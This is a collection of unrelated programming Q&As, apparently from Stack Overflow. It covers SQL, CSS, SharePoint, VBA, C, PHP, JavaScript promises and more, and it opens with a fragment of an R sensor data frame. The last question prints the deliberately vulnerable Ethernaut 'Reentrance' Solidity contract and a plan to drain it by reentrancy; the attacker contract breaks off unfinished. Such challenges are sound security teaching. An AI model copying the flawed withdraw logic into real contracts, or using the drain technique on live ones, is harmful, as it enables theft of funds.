        97.253,
        98.285,
        98.293,
        98.325,
        98.357,
        97.857,
        97.839,
        97.829,
        97.812,
        97.788
      ),
      fluorescence = c(
        0.17892,
        0.17232,
        0.17139,
        0.17278,
        0.17479,
        0.17701,
        0.1792,
        0.18158,
        0.18525,
        0.18909,
        0.10588,
        0.10647,
        0.10697,
        0.10818,
        0.10978,
        0.11157,
        0.1479,
        0.14969,
        0.15256,
        0.15607,
        0.30833,
        0.31088,
        0.31321,
        0.31532,
        0.31758
      ),
      turbidity = c(
        0.164,
        0.164,
        0.164,
        0.164,
        0.163,
        0.163,
        0.163,
        0.163,
        0.161,
        0.163,
        0.165,
        0.165,
        0.165,
        0.165,
        0.165,
        0.164,
        0.159,
        0.16,
        0.16,
        0.16,
        4.742,
        4.747,
        4.751,
        4.753,
        4.755
      ),
      conductivity = c(
        2.742475,
        2.743057,
        2.74087,
        2.73591,
        2.740138,
        2.738197,
        2.736985,
        2.747572,
        2.72913,
        2.752912,
        2.524555,
        2.525942,
        2.524426,
        2.523692,
        2.525012,
        2.526692,
        2.596153,
        2.602249,
        2.609861,
        2.613963,
        2.806078,
        2.786396,
        2.752134,
        2.712379,
        2.682113
      ),
      pH = c(
        8.094,
        8.098,
        8.099,
        8.099,
        8.099,
        8.099,
        8.099,
        8.099,
        8.014,
        8.099,
        8.16,
        8.16,
        8.16,
        8.16,
        8.159,
        8.159,
        8.149,
        8.148,
        8.147,
        8.146,
        8.121,
        8.12,
        8.12,
        8.119,
        8.118
      ),
      par = c(
        2627.7,
        2627.7,
        2627.7,
        2627.7,
        2627.7,
        2627.7,
        2627.7,
        2627.7,
        2600,
        2627.7,
        2627.8,
        2627.8,
        2627.8,
        2627.8,
        2627.8,
        2627.8,
        2627.8,
        2627.8,
        2627.8,
        2627.8,
        2627.6,
        NA,
        2627.6,
        2627.6,
        2627.6
      ),
      soundSpeed = c(
        1454.65,
        1454.65,
        1454.57,
        1454.38,
        1454.53,
        1454.47,
        1454.45,
        1454.82,
        1439.8,
        1454.96,
        1449.08,
        1449.22,
        1448.88,
        1448.36,
        1448.23,
        1448.18,
        1449.98,
        1450.1,
        1450.19,
        1450.08,
        1450.99,
        1450.48,
        1449.83,
        1449.19,
        1448.69
      ),
      svDM = c(
        1454.55,
        1454.55,
        1454.48,
        1454.29,
        1454.43,
        1454.37,
        1454.35,
        1454.72,
        1439.71,
        1454.86,
        1448.98,
        1449.12,
        1448.78,
        1448.26,
        1448.14,
        1448.08,
        1449.89,
        1450.01,
        1450.1,
        1449.98,
        1450.91,
        1450.4,
        1449.76,
        1449.12,
        1448.61
      ),
      svWM = c(
        1454.57,
        1454.57,
        1454.49,
        1454.3,
        1454.45,
        1454.39,
        1454.37,
        1454.74,
        1439.73,
        1454.89,
        1448.89,
        1449.03,
        1448.69,
        1448.18,
        1448.05,
        1448,
        1449.84,
        1449.96,
        1450.05,
        1449.94,
        1451.01,
        1450.49,
        1449.83,
        1449.16,
        1448.62
      )
    ),
    row.names = c(NA,
                  25L),
    class = "data.frame"
  )


text:
Q: How to use "INSERT (name, ...) INTO table SELECT name, ... FROM table_2" to only insert rows who don't have the same 'NAME'? Good day/Afternoon/Evening/Night.
I want to know if it's possible to insert rows from table_1 into table_2 only if the rows from table_1 don't have the same name.
I know about IF NOT EXISTS but that's not what I'm looking for.
I have multiple rows who have the same name like this:
table: players
|ID | Name | Chance |
|---|------|--------|
| 1 | Test1|  40    |
| 2 | Test1|  30    |
| 3 | Test2|  30    |
| 4 | Test2|  30    |

This is what I'm using:
$sql = "
INSERT INTO user_items (card_img, name, rating, price, position, club, club_img, country, country_img, card_type, walkout_img, chance, user_id)
SELECT card_img
     , name
     , rating
     , price
     , position
     , club
     , club_img
     , country
     , country_img
     , card_type
     , walkout_img
     , chance
     , id
  FROM players
     , users
 ORDER
    BY -LOG(1+RAND())*chance
 LIMIT 4";

A: Join with a subquery that selects the names in players that aren't repeated.
INSERT INTO user_items (card_img, name, rating, price, position, club, club_img, country, country_img, card_type, walkout_img, chance, user_id)
SELECT card_img, players.name, rating, price, position, club, club_img, country, country_img, card_type, walkout_img, chance, id
FROM players
JOIN (
    SELECT name
    FROM players
    GROUP BY name
    HAVING COUNT(*) = 1
) AS single_players ON players.name = single_players.name
CROSS JOIN users
ORDER BY -LOG(1+RAND())*chance
LIMIT 4


text:
Q: Javascript - Copy fading in and out I'm trying to have different quotes fade in and out of the body copy, but also keeping them on the same line. At the moment the quotes will only appear a separate line, rather than the same as the line before.

(function() {

  var quotes = $(".quotes");
  var quoteIndex = -1;

  function showNextQuote() {
    ++quoteIndex;
    quotes.eq(quoteIndex % quotes.length)
      .fadeIn(2000)
      .delay(2000)
      .fadeOut(2000, showNextQuote);
  }

  showNextQuote();

})();
.quotes {
  display: none;
  overflow: hidden;
  white-space: nowrap;
}
.intro {
  width: 800px;
  overflow: hidden;
  white-space: nowrap;
}
.h2 {
  overflow: hidden;
  display: inline;
}
.intro h1,
.intro h2 {
  overflow: hidden;
  vertical-align: top;
  font-size: 24px;
}
.intro h1 {
  font-weight: bold;
}

Hello, my name is  I am a

quote 1

quote 2

quote 3

currently based in London, GBR

http://jsfiddle.net/n4mKw/4220/

A: Just add display: inline to this block:
.intro h1,
.intro h2 {
  overflow: hidden;
  vertical-align: top;
  font-size: 24px;
  display: inline;
}

Example...

(function() {

  var quotes = $(".quotes");
  var quoteIndex = -1;

  function showNextQuote() {
    ++quoteIndex;
    quotes.eq(quoteIndex % quotes.length)
      .fadeIn(2000)
      .delay(2000)
      .fadeOut(2000, showNextQuote);
  }

  showNextQuote();

})();
.quotes {
  display: none;
  overflow: hidden;
  white-space: nowrap;
}

.intro {
  width: 800px;
  overflow: hidden;
  white-space: nowrap;
}

.intro h1,
.intro h2 {
  overflow: hidden;
  vertical-align: top;
  font-size: 24px;
  display: inline;
}

.intro h1 {
  font-weight: bold;
}

Hello, my name is  I am a

design addict

avid doodler

casual coder

currently based in London, GBR


text:
Q: Individual data for each user, based on thousands of updates in the system I have a news service that has thousands of users.
Each user can subscribe to a set of tags and sites that they individually would like to follow.
A tag or site has articles attached to it.
A user can potentially have 1-500 of these they want to follow.
Each user should have a page where these articles, based on the tags and sites the user follows, are presented.
The update frequency in terms of articles are around 2000 a day.
Every time an article is created/updated/deleted we need to update every user's individual page based on the tags and sites they follow.
I believe we could do a background computation on each users page-data when we update the set of articles.
So we populate each user-"bucket" with the data that only that user should be exposed to.
But since we do this 2000 times/24h it needs to be performant.
I am uncertain on how this will scale and how it will perform, and I would like some input in regards of
how this could be done in a simple yet performant matter.
We use Redis as a data store if that helps you in any way.

A: My first reaction to these requirements would be to develop a pub/sub system. Every time a change is made to an item, an event would be published to that effect.
Subscribers that care about such events can subscribe to them. Each subscriber can update itself concurrently with all other subscribers, so that sort of architecture ought to scale vertically.
Events should probably go on a queue so that spikes can be smoothed out, and so that subscribers can get updates even if they were online for a while.


text:
Q: How to deploy custom theme + css + masterpage and apply it automatically to every newly created Team site Greetings...
Well, the title pretty much says it all. Users will be able to create numerous new team sites, and I need to make sure that custom theme and css are automatically applied. Also, I need to deploy custom masterpage which links to my custom css.
I'm not a programmer but a designer, so this is proving to be a problem for me. All the references that I've found say that it can be easily done by a feature, but I can't find the code that I could just copy/paste. Is there a mercyful soul around that can provide such a thing for a lost SP rookie?
From what I understand, I need a feature.xml file and .feature file + custom .thmx, .css and .mastepage files. I have created the last three, and I'm looking for help concerning the first two.
Thank you...

A: I am no developer as well but I think the expression you are looking for is "staple feature". However, I am pretty sure that you want to involve someone with DEV-skills into that project ;)
See:
http://sharepointmagazine.net/articles/introduction-to-sharepoint-feature-stapling-part-1
http://sharepointmagazine.net/articles/introduction-to-sharepoint-feature-stapling-part-2

A: You can create a new Event receiver (in your Visual Studio project there is an Event Receiver template when you create a new item in your project) that attaches to the WebProvisioned event, essentially executing every time a site is created, checking if the currently created site is a team site and if it is, applying your master page and theme. Sample below
public class YourLookAndFeelProvider : SPWebEventReceiver
{
    /// <summary>
    /// Applies styling customisations to the site at the provision time.
    /// </summary>
    public override void WebProvisioned(SPWebEventProperties properties)
    {
        var web = properties.Web;
        var webCustomisationsHelper = new SPWebCustomisationsHelper(web);

        if (web.WebTemplate.Equals("STS"))
        {
           // Apply the custom master page
           webCustomisationsHelper.ApplyMasterPage("yourmasterpage.master");
           // Apply the theme
           ThmxTheme.SetThemeUrlForWeb(web, "your team server relative Url");
        }
    }
}

Your custom css can be registered in the master page header.
Hope this helps.


text:
Q: Distributed TensorFlow Using Cloud ML - Training I'm trying to run a distributed TF job using Cloud ML.
I tested the code locally (using gcloud ml local command). Here are some specifications:
n_epochs = 20
noofsamples = 55000
batch_size = 100
num_batches = noofsamples/batch_size = 550

Using the following specifications, training steps = n_epochs * num_batches = 11000, which is correct.
But, if I execute the same job in Cloud ML using 2 worker nodes and 1 parameter server, it seems like full training is done on each machine
training steps = 3 machines n_epochs * num_batches = 33000
This shouldn't be the case.
Did any of you encounter this problem?
I would appreciate your help!
Thanks


text:
Q: How to find mp3 audio subsequence The problem: As the input there are two mp3 files.
First is a 24 hour mp3 record of today's radio broadcasting.
The second one is a one minute long record of the same radiostation, that was made during the day.
To be abstract the second file is a kind of "subsequence" of the first one.
Is there any way to automatically determine at which 'part' of the big file is located the little one?


text:
Q: Get Index value in R from boxplot I have a dataset with 170 variables and the first one is Customer ID which I converted as index of the data frame:
input2 <- data.frame(input2[,-1], row.names = input2[,1])

I want to create a data frame where I have the Customer ID that are considered outliers.
I already found the outliers:
 outliers <- boxplot(input2)$out

And found that to get the index values i can use
which(input2 %in% outliers)

but it gives as output:
integer(0)

Thanks!


text:
Q: LAN9500A Ethernet Adapter I'm designing a USB-to-Ethernet adapter (actually a prototype of a piece of a larger board).  As those following my questions will know, I've had some ups and downs getting the USB part working, but now it shows up as a USB hub in Linux and I can use devices connected to it.  Now for the Ethernet part.
As far as I can tell, I have followed the various guidance in the datasheet.  The schematic is shown below.  I can confirm that VDDCORE is being generated correctly and that there is a 25MHz sine wave on the 25MHz crystal - so the chip is showing some signs of life.  But it doesn't show up in a scan of the USB bus.  Both jumpers (JX1 and JX2) are installed, though I've tried without as well.
What can I do to try to debug this?  What should I be checking for on the board?  Have I made any obvious mistakes?

A: The major mistake in your schematics is that the nRESET signal (pin 24) doesn't follow the delay specifications. The deassertion of this signal must be delayed until all supply voltages reach valid level:

In your schematics the nRESET is tied directly to power rail, which obviously violates specifications. If the LAN7500 IC can't receive "valid reset", it will be internally screwed and won 't work.
To handle this signal properly it is highly recommended to use a "voltage supervisor" IC like MAX809. This method will provide guaranteed reset under various power-on and brown-out conditions. In most simplistic/cheap case you can use a RC-delay on this pin, but this will be a gamble in unstable power-on situations.
ADDITION: Another typical problem with embedded hubs and embedded devices is the sequencing of VBUS_DET on LAN9500 side. To connect to hub, the LAN9500 must pull up D+ high when it sees VBUS_DET, and not before that. You should obtain scope traces of what is going on D+/D- wires between the hub and LAN. Theoretically the connect event should NOT occur before the hub is ready to operate (be enumerated and such). If the connect event (D+ pull HIGH) occurs before that, the hub status reporting might be screwed. To test if this is the problem, toggle momentarily the VBUS_DET to ground and see if the hub/host would start to recognize the connect event and starts doing something (USB_RESET etc. etc).
To make the connection correctly and get proper sequencing reardless of power ramp rates, it is advisable to connect the VBUS_DET to the power control pin on hub side, PWRON1, with proper polarity. The PWRON1 pin will be logically inactive until the hub is fully enumerated and operational, which will ensure that LAN9500 will start the connect process after all is ready.


text:
Q: Insert a new line in a large paragraph My question is about adding a new line in a paragraph.  I have a large paragraph of around 10 lines which is between

 tags.  I want to split the paragraph at the 5th line. how do i do that?  I have tried </n> but it doesn't work.
I have even tried looking through he solutions provided here.

A: Instead of </n> you should try
 to create a line break in HTML.
To create an empty line, you need 2
 tags.
The better solution would be to create 2 separate paragraph sections with two
 blocks.


text:
Q: How do I import XML file names along with the data using VBA in Excel? I have been working on a VBA macro script to help import and organize XML files regarding user requests. However, right now I'm trying to add the filename as it contains the name of the user who sent in that specific XML file. I managed to formulate a code to import the XML and add the filename at the end of each XML import but now I want to import the filename along with the data (as in on every row at the end column). As shown with XXX denoting XML data:
XXX1    XXX1  filename1
XXX1    XXX1  filename1
XXX1    XXX1  filename1
XXX2    XXX2  filename2
XXX2    XXX2  filename2
XXX2    XXX2  filename2

Right now my code looks like this
Option Explicit

Sub LoopThroughFiles()

    Dim strFile As String, strPath As String, Num As Long, LR As Integer

    strPath = "C:\Requests\"
    strFile = Dir(strPath & "*.xml")
    Num = 0

    While strFile <> ""

        ActiveWorkbook.XmlMaps("resources_Map").Import Url:= _
        (strPath & strFile)

        strFile = Dir

        Num = Num + 1

        LR = Cells(Rows.Count, "A").End(xlUp).Row
        LR = LR + 1
        Cells(LR, "A") = strFile

    Wend

MsgBox "This code ran successfully for " & Num & " XML file(s)", vbInformation

End Sub

Current code works like this:
XXX1 XXX1
filename1
XXX2  XXX2
filename2

It looks like a simple adding a column but I'm not sure how to add values to all the rows in the XML import. Thanks in advance!

A: Use Range method to update filenames. variables lngStart and lngEnd will have start and end row numbers.
Option Explicit

Sub LoopThroughFiles()
    Dim strFile As String, strPath As String, Num As Long, LR As Integer
    Dim lngStart, lngEnd As Long

    strPath = "C:\Requests\"
    strFile = Dir(strPath & "*.xml")
    Num = 0

    lngStart = 2 'considering row 1 has headers. if not change it to 1.
    While strFile <> ""

        ActiveWorkbook.XmlMaps("resources_Map").Import URL:= _
        (strPath & strFile)

        strFile = Dir

        Num = Num + 1

        lngEnd = Cells(Rows.Count, "A").End(xlUp).Row
        Range("B" & lngStart & ":B" & lngEnd).Value = strFile

        lngStart = lngEnd + 1

    Wend

MsgBox "This code ran successfully for " & Num & " XML file(s)", vbInformation

End Sub

A: You could use a function to retrieve the file names and add in:
Option Explicit
Public Sub AddFileNames()
    Dim destinationCell As Range, results() As String
    Set destinationCell = ActiveSheet.Range("A1")  '<==Set to first cell where you want to add the names from
    results = GetXMLFileNames("C:\Requests\*.xml")
    If results(UBound(results)) <> vbNullString Then
        destinationCell.Resize(UBound(results) + 1, 1) = Application.WorksheetFunction.Transpose(results)
    End If
End Sub

Public Function GetXMLFileNames(ByVal folderPath As String) As Variant
    Dim f As String, names() As String, counter As Long
    ReDim names(0 To 1000)
    f = Dir(folderPath)
    Do Until f = vbNullString
        names(counter) = f
        f = Dir
        counter = counter + 1
    Loop
    ReDim Preserve names(0 To counter - 1)
    GetXMLFileNames = names
End Function


text:
Q: PHP Spreadsheet_Excel_Reader always reading date as Nov 30, 1999 I am using Spreadsheet_Excel_Reader to read .xls files in PHP.
Everything goes fine until it comes to reading a date. If I am reading a date field, it will always return the date as Nov 30, 1999 (or variations of this date depending upon the format). I have tried setting the OutputEncoding and it's giving the same result. I tried dumping the 'example.xls' that comes with the library and that also produces the same result.
Any help on a workaround for this would be highly appreciated.

A: You don't need to format your date in excel...if you have a date format in mind wrap it with double quote. e.g "13/04/1987" format("DD/MM/YYYY");
Spreadsheet_Excel_Reader will read this as a normal string with the double quote wrapper around it.
Then in your PHP make a query to remove and replace double quote with nothing.
$var = "13/04/1987";
 $removeQuote = str_replace('"','',$var);

After this you will have to replace every occurence of the forwardslash (/) with hypen(-).
$removeSlashes = str_replace('/','-',$removeQuote);

Then use the date function in PHP to format it to your suitability.
$format = date('Y-m-d', strtotime($removeSlashes));
echo $format;

And you'r done... full code goes below.
$var = "13/04/1987";
echo date('Y-m-d',strtotime(str_replace('/','-',str_replace('"','',$var))));


text:
Q: Setting global variable not working in Symfony I could not access $result outside the foreach loop. When I use dump($results); inside the loop I'm getting result, but when I'm using dump($results); outside the loop result is empty.
$results = array();

foreach ($menu as $menus) {
    $mid = $menus->getId();
    $em = $this->getDoctrine()->getManager();
    $connection = $em->getConnection();

    $statement = $connection->prepare("SELECT s.subtitle,m.* FROM submenu as s,menu as m where s.menu_id=m.id and m.id=:data");
    $statement->bindValue('data', $mid);
    $statement->execute();
    $results = $statement->fetchAll();
}
dump($results)

A: You're overwriting the $results variable each time through the loop. So the final value will just be the result of the last query. I suspect you want to combine the results of all the queries, so you need to merge the arrays.
Change
$result = $statement->fetchAll();

to:
$result += $statement->fetchAll();

Alternatively you could just combine all the queries into a single query. Put all the menu IDs into an array $menuIDs, and do:
$sql = "SELECT s.subtitle,m.* FROM submenu as s,menu as m where s.menu_id=m.id and m.id IN (" . implode(',', array_fill(0, count($menuIDs), '?')) . ")";
$statement = $connection->prepare($sql);
$statement->execute($menuIDs);
$results = $statement->fetchAll();


text:
Q: Executions hangs up with no error after moving files to external jar I have develop a simple java program to run APDU commands. It is working fine.
The file structure is
/moc
   /omnikey
     --Applet.java
     --API.java
   /omnikey.api
   /omnikey.util
   ... another 3 more packages ...

Now, I want to extract all those extra packages to a new project and leave only the omnikey package (with Applet.java and API.java) to create a .jar with the needed functionality.
So I created a new project, copied all files, fixed the packages references and linked the external jars needed... and now it doesn't work...
The "new" file structure is like this
/apdu
    /apduservice
        /api
            ... files ...
        /util
           ... files ...

/moc
    /omnikey
       Applet.java
       API.java

For some reason, the execution hangs when I declare something from the apdu project. If I do
System.out.println("flag 1");
try {
    apduservice.api.MocService ser = new apduservice.api.MocService(null);
} catch (CardServiceException e) {
    e.printStackTrace();
}
System.out.println("flag 2");

I get no error trace and the output is flag 1. The execution doesn't stop until force it.
If I try the same thing with the previous configuration everything works.
System.out.println("flag 1");
try {
    omnikey.api.MocService ser = new apduservice.api.MocService(null);
} catch (CardServiceException e) {
    e.printStackTrace();
}
System.out.println("flag 2");

//output flag 1 and flag 2

I'm not sure where the error might be. I tried exporting the second project as jar, as runnable jar, reference it as a project inside Eclipse, and nothing, the same result. I've tried searching for a solution, but since I get no error, it's hard to know what to look for.
If someone could shed a light I'll be grateful.
PD: doesn't seem to be an Eclipse problem, I've referenced projects in other projects and it has work fine...
PD2: I'm not using Maven or anything like that to handle references. I rather not to, at least for now.

A: Decided to answer this since there's no logical reason for this to happen.
Solution:
change workspaces, open the two projects and link them. Eclipse was just having one of its days.


text:
Q: Rails text helpers - A, B, C and D I feel like this should exist, but I'm looking for a Rails helpers that handles listing a collection of items.
# Input and expected output
[1,2,3,4] # 1, 2, and 2 others.
[1,2,3] # 1, 2, and 3.
[1,2] # 1 and 2.
[1] # 1.

Does anything like this exist?

A: Maybe this one?
[1,2,3].to_sentence
=> "1, 2 and 3"

A: Archer answered the question, however my use case required a little more customization so I ended up (for better or worse) reinventing the wheel.
  sig do
    params(
        items: T::Array[T.untyped],
        count: Integer,
        renderer: T.nilable(T.proc.params(arg0: T.untyped).returns(String)),
        final_renderer:
          T.nilable(T.proc.params(arg0: T.untyped).returns(String)),
      )
      .returns(T.untyped)
  end
  def listicle(items, count: 3, renderer: nil, final_renderer: nil)
    SolidAssert.assert(items.size > 0, 'Must provide at least 1 item.')
    buffer = ''
    rendered_items =
      items.first(count).map { |item| renderer ? renderer.call(item) : item }
    if items.size <= count
      # Case: All items can be inlined.
      if rendered_items.size == 1
        buffer = rendered_items.join
      else
        items_before_and = rendered_items.first(rendered_items.size - 1)
        last_item = rendered_items.last
        buffer = items_before_and.join(', ')
        buffer << " and #{last_item}"
      end
    else
      # Case: There are too many items so we render an "and 1 other..." item.
      remaining_count = items.size - count
      final_item =
        if final_renderer
          final_renderer.call(remaining_count)
        else
          "#{ApplicationController.helpers.pluralize(remaining_count, 'other')}"
        end
      buffer = rendered_items.join(', ')
      buffer << " and #{final_item}"
    end
    buffer.html_safe
  end


text:
Q: Resources for Sharepoint custom master page Branding I am a beginner at custom master page branding. I have converted an html page to a master page ,pretty simple. I know how to use the snippets too. But i notice that every single page i navigate to show the custom master page,and their content at the bottom page. I need to create other pages that inherit the custom master page navigation and layout. Can you show me the steps or point me to some tutorials.

A: within SharePoint online yes you can update the master page but try not to modify the master page unless you have no option! As SharePoint is an SaaS provider means that your going to find that you go quickly out of date and have an uphill battle updating the master page to incorporate any changes / broken objects when Microsoft releases any change which is all the time (weekly mini updates -> monthly then quarterly (large updates)) ;).
You should mostly do branding via CSS.
select the cog (top right) -> site settings -> under "look and feel" select "master page" -> click on "alternate CSS URL" -> select the third radio button to add your own css file. Save the css file within a document library like "Site Assets" . -> make sure you also select the checkbox to reset all subsites to inherit the new css.
tie this in with some custom page layouts and your all set!
from the horses mouth (msdn):

Anti-patterns (in other words, don't do these things)
Below list contains the key things not to do when it comes to branding
  your portal:
Override branding of Office 365 Suite Bar Customize branding for
  personal sites
By default implement your custom branding by using
  custom master pages

and

The SharePoint Online service is constantly improving.

and

Avoid customizing master pages. As mentioned above, updates to the
  service, may affect the structure of out of the box master pages. If
  you have implemented custom master page copying the contents of any
  out of the box master page, you will need to further monitor if this
  out of the box master page is not updated, and re-implement these
  changes in your custom master page. Otherwise, some SharePoint
  functionality may start behaving incorrectly, when your custom master
  page is in use. That's why customizing master pages leads to
  additional risks and maintenance costs, and it's recommended to avoid
  it, when possible.

https://msdn.microsoft.com/en-us/pnp_articles/portal-branding


text:
Q: How to use Clangd LSP + COC in neovim for Different extension types of Cpp files *.cpp, *.cc *.x etc For some reason, the project I am working on names some of it's Cpp header files as *.x
It looks like these files are not being indexed by Clangd and I end up with the following error whenever I try to use references, definitions on objects declared here.
[coc.nvim]: Error on notification "jumpDefinition": definition provider not found for current buffer, your language server doesn't support it.

clangd + coc, works for all other extension types like *.cpp, *.c, *.h, *.hpp. Is there any configuration file where I can add the *.x files as well


text:
Q: Set Max Limit for an IP in AWS S3 I have an S3 bucket where users can upload some files.
In order to prevent users from uploading too many files, I want to control how many times a user can upload files to S3 per minute.
I want to set something like a single IP cannot upload more than 10 files in a minute.
Is there a way I can achieve this?

A: No, S3 does not have such a feature.
You'd have to build this yourself e.g. by vending short-lived, pre-signed URLs to your clients and throttling their requests for those URLs.


text:
Q: is it possible to have multiple projects with shared code? I would like to create a Meteor project which will be over the web for PC and mobile platforms.
The HTML files will be different for each project however the JavaScript logic should be the same.
Is it possible to create 2 Meteor projects (one for web and other for mobile) with shared JS files?
Maybe using another project?

A: Sharing and reusing code is the very first reason for the existence of Meteor packages.
To create one simply meteor create --package me:mypackage (assuming me is your Meteor developer account username).
You can add your logic in the package. You can do anything you would normally do in your application development (templates, publications/subscriptions, collections, CSS, ...).
You can then simply publish this package to Atmosphere and reuse it in other projects.
meteor publish --create me:mypackage

There is a lot to know about packages. See more about publishing, testing packages with Jasmine.


text:
Q: Handling strings inside Files I'm trying to save data from a file into an array but I've had no luck for now. It's easy to save data after it was read from the file in case it's just numbers, but for example if I'm trying to save strings, the program keeps crashing over and over again. I'm using fscanf(); function since the whole .txt file is written in the same format: "First Name, Last Name". Now then, I've tried using the for loop in this way:
char *firstName = (char*)malloc(sizeof(char)*10240);
char *lastName = (char*)malloc(sizeof(char)*10240);
for(int i = 0; i<10; i++){
    fscanf(fp, "%s %s", firstName[i],lastName[i]);
}

And that's where it crashes.

A: Pure C code:
You have to allocate the array of arrays first, then allocate each string one by one
It's best to scan the strings into temp strings with a big size, and duplicate the strings later.
int i,nb_names = 10;
char **firstName = malloc(sizeof *firstName * nb_names);
char **lastName = malloc(sizeof *lastName *nb_names);
char tempn[1000],templ[1000];
for(i = 0; i<nb_names; i++){
    fscanf(fp,"%s %s", tempn,templ);
    firstName[i] = strdup(tempn);
    lastName[i] = strdup(templ);

}

Note that I have changed for (int i to for (i because it is not C compliant but rather C++ compliant (or C99, not sure).
For C++, drop the mallocs and use std::vector and std:string instead.
I'd recommend to use C++ if you can. I answered a lot of C/C++ questions on people trying (and failing) to allocate 2D arrays properly (including me 5 minutes ago damn :)). C++ using C++ library code is much clearer.
Full C++ example, reading from standard input
#include <vector>
#include <string>
#include <iostream>

using namespace std;

int main()
{
int nb_names = 10;
vector<string > firstName(nb_names);
vector<string > lastName(nb_names);

for(int i = 0; i<nb_names; i++){

    cin >> firstName[i];
    cin >> lastName[i];

}
return 0;
}

A: The error in your code is : firstName[i] is a character not a string but you use it like a string by using %s instead of %c.
you should use a char ** instead of char *.
char **firstName = (char**)malloc(10*sizeof(char)*10240);
I think also that 10240 is too much for firstName. Use 255 or less.


text:
Q: Addition between 32 bit unsigned and 32 bit signed numbers I would like to have the following checks when I add a 32 bit unsigned number to a 32 bit signed number:

*

*If the result is negative, set result to 0 [Floor Condition]

*If the result is >UINT_MAX, set result to UINT_MAX [Saturate Condition]

What would be the cleanest/optimal way to implement this ?

A: I suggest converting both to a signed 64-bit type, performing the addition, and then performing the checks (potentially with min/max macros/functions).

A: uint32_t add_sat(uint32_t a, int32_t b) {
    if (b < 0 && a < -(uint32_t)b) return 0;
    if (b > 0 && a + b < a) return UINT32_MAX;
    return a + b;
}

A: @OliCharlesworth ... How about this ?
unsigned int safe_add(long long a, long long b)
{
  long long int result = (a + b);

  if(result <= 0)
  {
    return 0;
  }
  if(result > UINT_MAX)
  {
    return UINT_MAX;
  }

  return result;
}


text:
Q: How can I add this USB Printer (`/dev/usb/lp0`) to printer list when print command is given in any application? I have made a USB thermal printer which generates the /dev/usb/lp0 nod in /dev folder.
Printing using echo "Test PrintSlip" /dev/usb/lp0 works fine. I would also want to print from text editors using Ctrl + P, which doesn't work currently.
How can I add this USB Printer (/dev/usb/lp0) to printer list when print command is given in any application?

A: Install the printer using the

Printers

Window: Dash -> Printers -> Add Printer.

Depending on the printer, you may need to download the right drivers.
Regards.


text:
Q: pdflatex renders files differently from a strings -- example provided I am running pdftex from command line and the images are getting clipped.  When I run the same commands from a saved tex file, no clipping occurs. I have attached the commands and rendered outputs also available (if you bump up my reputation points I can upload them). I do not see any unusual differences in the log files.
This seems like a bug and pdftex's tracking system would not let me register to file a bug (http://foundry.supelec.fr/gf/project/pdftex/).
Can some please confirm this as bug, recommend how I can report it, and perhaps provide a workaround.  I am trying to render a circuitikz via commandline.
:: PDF from Files
    pdflatex -interaction=nonstopmode -halt-on-error -jobname circuit_file circuit.tex circuit.pdf

:: PDF from String
    pdflatex -interaction=nonstopmode -halt-on-error -jobname circuit_string \documentclass[class=minimal,border=4pt]{standalone} \usepackage{tikz} \usepackage{circuitikz} \usepackage{siunitx} \pagestyle{empty} \begin{document} \begin{circuitikz}[european]\draw(0,0) to [V, v=$V_1$, i_=$I_1$] (0,2)to [R, l^=${R_1}$] (2,2)to [R, l^=${R_2}$, v^<=$V_2$] (2,0) -- (0,0); \end{circuitikz} \end{document}

A: As Martin suggested, putting quotes around the latex string solved the clipping problem.
pdflatex -interaction=nonstopmode -halt-on-error -jobname circuit_string "\documentclass[border=4pt]{article} \usepackage{tikz} \usepackage{circuitikz} \usepackage{siunitx} \pagestyle{empty} \begin{document} \begin{circuitikz}[european]\draw(0,0) to [V, v=$V_1$, i_=$I_1$] (0,2)to [R, l^=${R_1}$] (2,2)to [R, l^=${R_2}$, v^<=$V_2$] (2,0) -- (0,0); \end{circuitikz} \end{document}"


text:
Q: Make sure promise is executed after a conditional promise I have an if-else condition with different promises inside. After the logic has picked which condition it will enter and had executed the promise, I have to make sure that my final promise is executed.

if (a < 5)
{
   vm.promise1()
   .then((data) => {
      //do something with data
   })
}
else if (a > 5)
{
 vm.promise2()
   .then((data) => {
      //do something with data
   })
}
else
{
 vm.promise3()
   .then((data) => {
      //do something with data
   })
}

Now I have vm.finalPromise() to be executed after the condition. I don't want to put .finally() on every single promise in each of the condition. Is there any other implementation?
Thanks

A: In my opinion, I would suggest you keep it "Promisy" Instead of storing a promise into a variable, call a function that returns some promise. Note, this is just a style preference.
function doSomething() {
  if (a < 5) {
    return vm.promise1().then((data) => {
      //do something with data
    });
  } else if (a > 5) {
    return vm.promise2().then((data) => {
      //do something with data
    });
  } else {
    return vm.promise3().then((data) => {
      //do something with data
    });
  }
}

doSomething().then(() => {
  // finally do something
});

A: Create a var to hold any of those promises
Use it like any other promise after the if/else if etc code
var p;
if (a < 5) {
   p = vm.promise1()
   .then((data) => {
      //do something with data
   })
} else if (a > 5) {
    p = vm.promise2()
   .then((data) => {
      //do something with data
   })
} else {
    p = vm.promise3()
   .then((data) => {
      //do something with data
   })
}
p.then((result) => {
     // do your magic here
});


text:
Q: Creating AutoCompletelistview with custom adapter I wanted to change the background color and text color of autocompletetextview suggestions so I decided to go with custom adapter
Eariler I was using Custom Adapter but now I decided to override ArrayAdapter
pname.setAdapter(new ArrayAdapter<String>
                (this,android.R.layout.simple_list_item_1,list){
        @NonNull
        public View getView(int position, View convertView, ViewGroup parent) {
            TextView textView = (TextView) super.getView(position, convertView, parent);

            int textColor = getResources().getColor(R.color.pink);
            textView.setTextColor(textColor);

            return textView;
        }
    });

Problem :The list background and text color got changed but I guess I am getting something weird view Here is the image :
Still the borders are black as you can see in the image instead I wanted the whole background to be white
Look at the borders it still black


text:
Q: Reentrancy attack implementation I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

contract Reentrance {

    using SafeMath for uint256;
    mapping(address => uint) public balances;

    function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
    }

    function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value:_amount}("");
        if(result) {
            _amount;
    }
        balances[msg.sender] -= _amount;
    }
}

    receive() external payable {}
}

My plan is to:

*

*Donate to the Reentrance contract from another contract.

*Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute

(bool result,) = msg.sender.call{value:_amount}("");

enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
    address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
    uint32 public i = 0;
    constructor() payable {}
